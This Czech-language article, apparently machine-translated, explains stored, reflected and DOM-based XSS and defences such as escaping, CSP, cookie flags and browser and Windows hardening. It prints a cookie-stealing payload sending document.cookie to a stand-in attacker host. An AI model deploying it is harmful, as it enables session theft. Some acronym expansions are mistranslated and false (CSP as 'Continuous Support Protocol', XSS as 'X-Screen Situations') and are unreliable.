Zranitelnosti XSS sužují web již léta, přesto se stále objevují v nových aplikacích, jako by se nic nedělo. V prostředí, kde se prakticky vše děje přes prohlížeč a kde používáme Windows pro práci, nakupování, bankovnictví a správu firmy, je důležité porozumět... Co přesně je perzistentní cross-site scripting, jak funguje a jak můžete chránit Windows i prohlížeče? Přestává být něčím „pro bezpečnostní geeky“ a stává se základní nezbytností.
Pokud se úspěšně zneužijí zranitelnosti typu Cross-Site (XSS), útočník může dělat více než jen zobrazovat vyskakovací okna se zprávami: může krást relace, vydávat se za jiné uživatele, odcizovat data nebo používat váš prohlížeč jako odrazový můstek pro přístup k jiným interním systémům. Navíc, pokud je zranitelnost trvalá, škodlivý kód zůstává v aplikaci zabudován a při každé návštěvě se opakovaně spouští. Proto je klíčová kombinace [nezbytných bezpečnostních opatření]. osvědčené postupy pro bezpečný vývoj, správnou konfiguraci souborů cookie a prohlížeče, ochranu systému Windows a nástroje pro detekci zranitelností pokud chcete klidně spát.
Co je XSS a proč je stále tak vážným problémem?
Cross-Site Scripting (XSS) je zranitelnost webového zabezpečení, ke které dochází, když aplikace povolí spouštění skriptů. nedůvěryhodný kód JavaScript v prohlížeči obětiTento kód obvykle pochází z uživatelských vstupů (formuláře, parametry URL, komentáře, interní vyhledávače atd.), které nebyly řádně ověřeny nebo „vyčištěny“ a následně se zobrazují na stránce.
Prohlížeč nedokáže rozlišit, který skript je legitimní součástí webu a který byl vložen útočníkem: Všechno pocházející z dané domény je spuštěno se stejnými oprávněními.To je to, co promění legitimní web v perfektní past pro krádež dat nebo manipulaci s akcemi uživatelů, aniž by si to uvědomovali.
Útočníci zneužívají XSS k provádění nejrůznějších škodlivých činů: krádež souborů cookie relace, únos účtu, zaznamenávání stisků kláves, přesměrování na škodlivé webové stránky, sofistikovaný phishing nebo tichá úprava zobrazeného obsahuTo vše lze provést bez přímého ohrožení operačního systému; stačí pouhý útok na prohlížeč.
Znepokojivé je, že i když se jedná o známou chybu od samého začátku webových stránek, XSS i nadále zaujímá přední místa v žebříčku OWASP Top 10 a v reportech zranitelností.Studie, jako například ty od společnosti Acunetix, naznačují, že přibližně 40 % zranitelností nalezených ve webových aplikacích souvisí s XSS (X-Screen Situations). Důvody pro jejich přetrvávající výskyt jsou různé: zvýšená složitost webových aplikací, starší kód, nedostatek robustní validace, chyby v implementaci opatření, jako je CSP (Continuous Support Protocol), omezené znalosti o bezpečném vývoji a neustálý vývoj útočných technik.
Typy útoků XSS: uložené, zrcadlené a založené na DOM
Ne všechny zranitelnosti XSS se chovají stejně. Je důležité rozlišovat mezi třemi hlavními typy, protože Dopad a způsob, jak se chránit, se v každém případě liší., ačkoli sdílejí stejnou základní příčinu: spuštění JavaScriptu v prohlížeči oběti.
Uložené nebo trvalé XSS: nejnebezpečnější
K uloženému XSS dochází, když je škodlivý kód trvale uložen na serveru: obvykle v databázi, ale také v souborech, logovacích systémech nebo jiných úložištíchPokaždé, když uživatel načte stránku, která zobrazuje tyto informace, je skript spuštěn v prohlížeči.
Představte si systém komentářů na fóru nebo blogu. Pokud aplikace uloží komentář tak, jak je, a poté jej zobrazí bez jeho escapování nebo sanitizace, útočník by mohl vložit něco jako <script>...código-malicioso...</script> v textu komentářeTento fragment je uložen v databázi a každá návštěva daného vlákna způsobí automatické spuštění skriptu ve všech prohlížečích, které jej zobrazují.
Tento typ XSS je obzvláště kritický, protože škáluje dopad jednoho datového zatížení na všechny uživatele, kteří navštíví dotčený obsahVyskytly se případy, kdy se jeden infikovaný tweet nebo komentář automaticky retweetl nebo sdílel (jak se stalo v případě TweetDecku), čímž se exponenciálně znásobil dosah útoku. V podnikovém prostředí, pokud je postižený uživatel administrátorem, může útočník získat přístup k interním ovládacím panelům nebo se dokonce rozšířit do dalších systémů.
Reflektovaný nebo neperzistentní XSS
K reflektovanému XSS dochází, když aplikace bere data z HTTP požadavku (například parametr URL, pole formuláře nebo záhlaví), vloží jej přímo do odpovědi a skript se spustí v prohlížeči oběti v téže interakci, aniž by byl uložen na serveru.
Typický příklad: vyhledávací stránka, která zobrazuje hledaný text se zprávou typu „Výsledky pro X“. Pokud aplikace tuto hodnotu správně neescape a někdo odešle odkaz typu:
https://sitio.com/buscar?q=<script>alert('XSS')</script>
Po zadání této adresy URL prohlížeč provede do parametru vložený škodlivý skriptTento typ útoku je často doprovázen phishingovými kampaněmi nebo kampaněmi sociálního inženýrství: útočník musí přesvědčit oběť, aby klikla na zmanipulovaný odkaz.
Z hlediska okamžitého dopadu, odražený XSS obvykle ovlivňuje konkrétního uživatele při každém spuštění, ale pokud je kampaň zaměřující se na distribuci odkazů masivní (e-mail, sociální média, instant messaging), poškození může být podobné jako u uskladněné věci.
XSS založené na DOMu
K XSS založené na DOM dochází, když se zranitelnost nachází výhradně v kódu JavaScript na straně klienta. V tomto případě může server zobrazovat „čistý“ HTML, ale JavaScript, který běží v samotném prohlížeči, čte data z nedůvěryhodných zdrojů (jako například location.search, location.hash o document.referrera vloží je do DOMu bez validace.
Například skript, který získává parametr z URL adresy a vkládá ho pomocí innerHTML pro personalizaci uvítací zprávy. Pokud někdo zadá URL adresu, která obsahuje škodlivý HTML nebo JavaScript, prohlížeč interpretuje tento obsah jako kód a spustí jej. To vše aniž by se datová zátěž vůbec dostala na servercož ztěžuje jeho detekci v protokolech nebo tradičních filtrech.
V praxi sdílí DOM XSS s reflected XSS potřebu manipulovatelného odkazu nebo vstupu a složky sociálního inženýrství, ale Přímo využívá logiku front-endu a nezabezpečený přístup k DOM.Navíc mnoho serverových filtrů a WAFů to propouští, protože vidí pouze zdánlivě „normální“ provoz.
Čeho může útočník dosáhnout pomocí XSS?
Závažnost útoku Cross-Site Exploit (XSS) je často podceňována, ale v rukou někoho se zlým úmyslem může být zničující. Důsledky mohou být zničující jak pro uživatele, tak pro firmy, od technických až po reputační a ekonomické aspekty.
Krádež souborů cookie, relací a přihlašovacích údajů
Jedním z klasických použití XSS je krádež session cookies a dalších autentizačních tokenů. Pokud cookie nenese příznak Pouze HTTPskript to dokáže přečíst pomocí document.cookie a odeslat jej na server ovládaný útočníkem:
<script>document.location='http://atacante.com/cookie?'+document.cookie</script>
Jakmile oběť načte infikovanou stránku, její prohlížeč odešle požadavek na škodlivou URL adresu. včetně ukradeného souboru cookie relace jako parametruS tímto souborem cookie se útočník může v aplikaci vydávat za uživatele, prohlížet si soukromé informace, provádět operace jeho jménem a dokonce, pokud je uživatel administrátorem, mít přístup ke kritickým panelům.
Vložený skript navíc může zaznamenávat vše, co uživatel zadává do formulářů (zadávání z klávesnice, přihlašovací pole, údaje o kartě atd.), a odesílat to útočníkovi. zachycení přihlašovacích údajů a citlivých údajů Často je integrován do širších podvodných schémat.
Přesměrování, phishing a manipulace s obsahem
Dalším běžným scénářem je tiché přesměrování na škodlivé nebo phishingové stránky. Skript může použít window.location poslat uživatele na webovou stránku, která napodobuje originál, kde je požádán o opětovné přihlášení nebo zadání důvěrných údajů. Uživatel mu důvěřuje, protože Pochází z legitimní domény, kterou jste právě navštívili.
Je také možné upravit DOM tak, aby zobrazoval falešné přihlašovací formuláře, bannery nebo překrývající se vyskakovací okna, nebo dokonce změnit obsah, který oběť vidí, aby ji oklamat (například změna čísla bankovního účtu na intranetu, falšování systémových zpráv nebo manipulace s viditelnými akcemi).
Distribuce malwaru a eskalace útoků
XSS může donutit prohlížeč stahovat nebo spouštět škodlivé zdroje, jako například externí skripty hostované na doménách pod kontrolou útočníkaV kombinaci s dalšími zranitelnostmi v prohlížeči, pluginech nebo dokonce v samotném systému je možné spustit nativní kód a ohrozit počítač oběti s Windows.
V korporátním prostředí může útok XSS namířený proti interní aplikaci sloužit jako vstupní bod pro laterální pohyb: Z napadeného prohlížeče jsou odesílány ověřené požadavky do jiných služeb, shromažďovány další tokeny nebo jsou zneužívány chybné konfigurace v interních sítích.Jinými slovy, jednoduchý „testovací poplach“ se může stát vstupní branou k vážnému incidentu.
Z obchodního hlediska může navíc web postižený XSS utrpět ztráta důvěry uživatelů, pokles konverzí a prodejů a dokonce i sankce za SEO pokud Google zjistí anomální chování nebo se webová stránka dostane na černé listiny prohlížečů a antivirového softwaru.
Dopad na Windows a prohlížeče: kde se hraje skutečná hra
Přestože XSS je zranitelnost webových aplikací, scénář, ve kterém k poškození dochází, je prohlížeč spuštěný ve vašem systému Windows. To znamená, že kombinace prohlížeče + nastavení systému Windows + bezpečnostních řešení To rozlišuje mezi strachem a katastrofou.
Moderní prohlížeče (Chrome, Edge, Firefox atd.) obsahují mechanismy izolace procesů (sandbox), filtry XSS, blokování vyskakovacích oken, seznamy nebezpečných webů a ochrana proti stahováníSystém Windows nabízí v podnikovém prostředí funkce jako SmartScreen, správu aplikací, integrovaný antivirus a zásady omezení.
Pokud však uživatel prochází web pomocí profily správců, pochybná rozšíření nebo zastaralé prohlížečeNebo pokud jsou bezpečnostní opatření deaktivována, aby „všechno fungovalo“, manévrovací prostor útočníka se dramaticky zvětší. Dobře zneužitá zranitelnost XSS může být použita ke stažení malwaru, zneužití zranitelností prohlížeče nebo pluginů nebo k použití zařízení jako pivotního bodu pro útok na jiná aktiva.
Proto i když technický kořen selhání spočívá ve webové aplikaci, je klíčové zpevnit Windows a prohlížečeSnižte plochu pro útok minimalizací oprávnění, aplikací aktualizací, kontrolou rozšíření, používáním seznamů povolených pro spuštění a kombinací s osvědčenými postupy prohlížení.
Jak detekovat zranitelnosti XSS ve vašich aplikacích
Pokud spravujete webové stránky nebo firemní aplikaci, jen držet palce nestačí. Potřebujete proaktivní přístup. lokalizovat a vyhodnotit zranitelné vstupní body dříve, než to udělají útočníciZde přicházejí na řadu různé techniky a nástroje.
Automatické skenování a fuzzing
Nástroje jako OWASP ZAP, Burp Suite, Acunetix, Netsparker a další skenery zranitelností Umožňují vám spouštět kontrolované útoky proti vaší aplikaci, testovat formuláře, parametry URL, hlavičky a trasy a detekovat podezřelé chování XSS.
Tyto skenery obvykle kombinují testování specifických užitečných zátěží s technikami fuzzingTyto testy v podstatě zahrnují odesílání náhodných, neočekávaných nebo chybně formátovaných dat do vstupních polí, aby se zjistilo, jak aplikace reaguje. Výsledek, který vrátí vstup bez escapování nebo který spustí testovací skript, odhalí chybu.
Manuální testování pomocí testovacích skriptů
Kromě automatického skenování se doporučuje provést i manuální testy: vkládat jednoduché skripty jako např. <script>alert('XSS')</script> ve formulářích, parametrech URL, vyhledávacích polích, komentářích nebo jakémkoli vstupu, který se nakonec projeví na stránceJe zřejmé, že by se to mělo dělat ve vývojovém nebo předprodukčním prostředí, nikdy ne na produkčních systémech.
Rozšíření prohlížeče, jako například XSS Me, webový vývojář nebo NoScript Pomáhají auditovat chování klientů, zvýrazňovat chyby JavaScriptu, sledovat, co se v DOMu skutečně provádí, a testovat různé vektory. Je také vhodné důkladně zkontrolovat kód, zejména tam, kde jsou použity. innerHTML, document.write, eval nebo zřetězení HTML s uživatelskými daty.
Kontrola kódu a použití SAST
Integrace nástrojů pro statické testování bezpečnosti aplikací (SAST) do vývojového cyklu je jedním z nejúčinnějších způsobů, jak v zárodku zastavit cross-site scripting (XSS). Tyto statické analýzy kontrolují zdrojový kód a hledají Nebezpečné vzorce: neověřená data přicházející do zobrazení, nesprávné escape metody, přímé manipulace s DOM s nedůvěryhodnými vstupy., Etc.
Kombinací SAST s manuálními kontrolami kódu zaměřenými na bezpečnost můžete identifikovat oblasti, kde chybí únikové mechanismy, kde byl zakázán filtr frameworku nebo kde byly použity nebezpečné obchvaty, například Html.Raw v Razoru, v-html ve Vue, [innerHTML] v Angularu nebo dangerouslySetInnerHTML v Reactu.
Jak chránit své aplikace před XSS
Klíč ke zmírnění XSS nespočívá v jediném triku, ale v Použijte více vrstev ochrany: validaci vstupu, správné kódování výstupu, striktní nastavení souborů cookie, CSP, bezpečné a aktuální frameworky. Pojďme po částech.
Ověřte a vyčistěte všechny uživatelské vstupy
Zlaté pravidlo: Nikdy nedůvěřujte žádným datům, která pocházejí od uživatele nebo externích zdrojů.To zahrnuje formuláře, parametry URL, hlavičky HTTP, data importovaná z jiných aplikací, skrytá pole atd. Ověřování by mělo být vždy prováděno na serveru, i když z důvodů použitelnosti může být provedeno i na straně klienta.
V závislosti na kontextu můžete:
- Omezit znakovou sadu pomocí regulárních výrazů (například pouze písmena, číslice a mezery).
- Omezte maximální délku polí, abyste se vyhnuli velkým datovým částem.
- Pokud nejsou potřeba, odmítněte HTML tagy přímo.
- Pokud musíte povolit určitý HTML kód (například v bohatých komentářích), použijte knihovny sanitace jako například DOMPurify (JS), HtmlSanitizer (.NET), AntiXSS atd., které odstraňují nebezpečné skripty a atributy.
Například v .NET framework obsahuje výchozí ochrany, které blokují nebezpečný vstup, ale pokud používáte atributy jako [ValidateInput(false)] Pokud povolíte neošetřený HTML, otevřete dveře XSS.Je důležité si být velmi dobře vědomi toho, kdy jsou tyto ochrany deaktivovány, a kompenzovat to pomocí specifických filtrů.
Správně escapujte výstup (kódování výstupu)
Druhou částí problému je způsob zobrazení dat. I když je ověříte, pokud pak hodnotu vložíte přímo do HTML bez escapování, stále můžete být zranitelní. Správný přístup je kódovat speciální znaky podle kontextu, ve kterém budou použity:
- V HTML, escape
<,>,&, jednoduché a dvojité uvozovky (například v PHP shtmlspecialchars()ohtmlentities()). - V atributech HTML používejte také řídicí znaky a uvozovky.
- V inline JavaScriptu používejte specifické kodéry (například JavaScriptEncoder v .NET).
- V URL adresách používejte funkce pro kódování parametrů (UrlEncoder,
encodeURIComponent, Atd.).
Mnoho moderních frameworků to dělá téměř „hotovo“: Razor v .NET automaticky kóduje proměnné, pokud nepoužíváte Html.Raw.React standardně escapuje obsah a Angular a Vue bezpečně zpracovávají interpolace, pokud nejsou použita žádná API, která vkládají nezpracovaný HTML kód. Využívání těchto ochran je nezbytné.
Použít zásady zabezpečení obsahu (CSP)
Správně nakonfigurovaná politika zabezpečení obsahu (CSP) je velmi účinnou další vrstvou proti XSS. S CSP můžete pomocí HTTP hlaviček definovat, kde je povoleno načítání skriptů, stylů, iframe, obrázků atd. a zda jsou povoleny inline skripty.
Jednoduchý příklad by byl:
Content-Security-Policy: default-src 'self'; script-src 'self' https://scripts-confiables.com
To znamená, že lze spustit pouze skripty poskytované z vaší vlastní domény nebo důvěryhodných domén. I když existuje zranitelnost XSS, Vložený skript, který se pokouší načíst kód od třetí strany, by byl zablokován.CSP nenahrazuje validaci a escapování, ale výrazně snižuje dopad chyb, které mohly proklouznout.
Správná konfigurace souborů cookie
Soubory cookie relace jsou oblíbeným cílem útoků XSS. Pro minimalizaci škod je nezbytné je nakonfigurovat s příslušnými příznaky:
- Pouze HTTP: zabraňuje JavaScriptu v přístupu k souboru cookie prostřednictvím
document.cookieJe to nejpřímější způsob, jak zabránit krádeži relace pomocí klasického XSS. - Zajistěte si : vynutí odesílání souboru cookie pouze přes HTTPS připojení, čímž se zabrání únikům na nešifrovaných kanálech.
- Stejný web: omezuje odesílání souborů cookie v požadavcích napříč weby, čímž snižuje rizika CSRF a některých kombinovaných scénářů XSS.
Například v PHP to můžete nastavit pomocí session_set_cookie_paramsa v jiných prostředích s jejich ekvivalentními API. I když to nezabrání spuštění skriptu, zabrání to. výrazně snižuje potenciální dopad na ověřování.
Používejte frameworky a knihovny bezpečné pro DOM
Na straně klienta je nejlepší praxí co nejvíce se vyhnout ruční manipulaci s DOM. Frameworky jako například React, Angular nebo Vue Aktualizují DOM automatickým escapováním dat a podporují vzory, které snižují potřebu použití innerHTML, document.write o evalkteré jsou evidentně nebezpečné.
Pokud potřebujete manipulovat s dynamickým HTML, spolehněte se na sanitizaci knihoven, jako je DOMPurifykteré analyzují obsah a odstraňují potenciálně škodlivé tagy, atributy a schémata. A především, Pečlivě prozkoumejte jakékoli použití API, které umožňuje vkládání nezpracovaného HTML kódu.protože jsou často slabým článkem, který otevírá dveře k XSS založenému na DOM.
Udržujte vše aktuální: CMS, pluginy a knihovny
Mnoho skutečných narušení systému není způsobeno kódem, který píšete, ale třetími stranami: Pluginy WordPressu, moduly Joomla, JS knihovny, šablony, zastaralé front-endové nebo back-endové komponenty které obsahují známé zranitelnosti, včetně XSS.
Rutina by měla být jasná: Pravidelně kontrolujte a instalujte bezpečnostní záplaty, odstraňujte nepoužívané pluginy a šablony, vyhýbejte se crackovaným nebo neoficiálním verzím a sledujte bezpečnostní upozornění z vašeho CMS nebo frameworku.WAF (Web Application Firewall), podobný tomu, který nabízejí někteří poskytovatelé hostingu (například Imunify360, Cloudflare WAF atd.), přidává další vrstvu, která filtruje známé pokusy o vkládání škod na úrovni HTTP.
Jak zabezpečit Windows a prohlížeče proti útokům XSS
I když kořen problému leží na serveru, můžete výrazně snížit riziko eskalace XSS útoku posílením uživatelského prostředí. To zahrnuje jak osvědčené postupy používání, jako je nastavení zabezpečení ve Windows a prohlížečích.
Dobré navigační postupy
Prvním bodem je zdravý rozum, ale ten je i nadále denně ignorován: Neklikejte na podezřelé odkazy ani neotevírejte podivné adresy URL, které vám přijdou e-mailem, ze sociálních médií nebo přes zprávy.zejména pokud pocházejí od neznámých odesílatelů nebo obsahují poplašné zprávy či zprávy, které se zdají být až příliš dobré na to, aby to byla pravda.
V konkrétním případě odraženého XSS útok obvykle zahrnuje odkaz s dlouhými a neobvyklými parametry. I když se k jeho maskování používají zkracovače URL, buďte opatrní. komentáře ve fórech, soukromých zprávách nebo e-mailech, které obsahují odkazy bez jasného kontextu snižuje pravděpodobnost odpálení užitečného zatížení.
Bezpečná konfigurace prohlížečů
Chrome, Edge, Firefox a jejich deriváty nabízejí řadu možností, které stojí za zvážení:
- Udržujte svůj prohlížeč vždy aktuální, což umožňuje automatické aktualizace.
- zkontrolovat nainstalované přípony a odinstalujte všechny aplikace, které nepoužíváte nebo kterým nedůvěřujete.
- Aktivace funkcí bezpečné prohlížení (Bezpečné prohlížení Google, Microsoft Defender SmartScreen), které blokují stránky nahlášené jako škodlivé.
- Omezit nebo zakázat provádění zbytečný aktivní obsah (například starší pluginy) a spravovat oprávnění webu (kamera, mikrofon, oznámení) uvážlivě.
V podnikovém prostředí je běžné centralizovat tyto konfigurace prostřednictvím skupinové zásady (GPO) nebo zásady prohlížečecož uživateli brání ve snížení úrovně zabezpečení pro větší pohodlí.
Vylepšení systému Windows: Antivirus, firewall a kontrola aplikací
Windows 10 a 11 již obsahují dobrý základní bezpečnostní balíček: Antivirus Microsoft Defender, vestavěný firewall, ochrana založená na reputaci, správa aplikací, SmartScreen atd.Přesto se mnoho firem a uživatelů rozhoduje pro další řešení (například Avast), která nabízejí další vrstvy ochrany před škodlivými skripty, podezřelým provozem nebo kompromitovanými soubory ke stažení.
Aby se snížilo riziko útoku typu Cross-Site Script (XSS), který se pokouší nainstalovat malware nebo spustit kód mimo prohlížeč, je důležité:
- Prohlížení se standardními uživatelskými účtyne s účty s administrátorskými oprávněními.
- Aktivujte Řízení uživatelských účtů (UAC) a nevypínat ho, „aby to nikoho neobtěžovalo“.
- Konfigurace zásad spuštěné aplikace (AppLocker nebo Řízení aplikací v programu Windows Defender) v podnikových prostředích k omezení spouštění binárních souborů.
- Posílejte firewall a pokud možno monitorujte odchozí provoz, zda nedochází k připojení k podezřelým doménám, které by mohly naznačovat únik dat (např. odesílání odcizených souborů cookie).
Správa zranitelností a penetrační testování: jak zůstat o krok před útočníkem
Zkušenosti ukazují, že jediný realistický způsob, jak držet XSS na uzdě, je zacházet s ním jako se součástí průběžné řízení zranitelnostíne jako jednorázovou věc. To znamená kombinaci:
- Přehledný inventář webových aplikací a služeb se kterými se zabýváte (interní i externí).
- Pravidelné skenování s automatizovanými nástroji pro analýzu zranitelností.
- Pravidelné penetrační testováníinterní nebo externí, simulující skutečné útoky, včetně uložených, zrcadlených a DOM-based XSS.
- Školení v oblasti bezpečného vývoje, aby týmy plně chápaly, jak problém vzniká a jak se mu vyhnout již od fáze návrhu.
Společnosti specializující se na etický hacking a penetrační testování vám mohou pomoci identifikovat nejen XSS, ale i Další vedlejší slabiny (SQL injections, selhání ověřování, únik citlivých dat, konfigurační chyby) které dohromady umožňují řetězení komplexních útoků, jako například v případě Jiry v Apache Foundation, kde odražený XSS nakonec otevřel dveře velmi kritickému přístupu.
Pochopení toho, co jsou perzistentní zranitelnosti XSS, jak fungují různé typy útoků a jaká opatření je třeba aplikovat jak při vývoji webu, tak i ve Windows a vašich prohlížečích, vám v konečném důsledku dává mnohem silnější pozici. Přísná validace, správné escapování, CSP, robustní konfigurace souborů cookie, moderní frameworky, neustálé aktualizace, osvědčené postupy prohlížení, posílení systému a pravidelné audity.Drasticky snižujete plochu pro útok a zabraňujete tomu, aby se jednoduchý skript o několika řádcích stal zdrojem vážného bezpečnostního incidentu.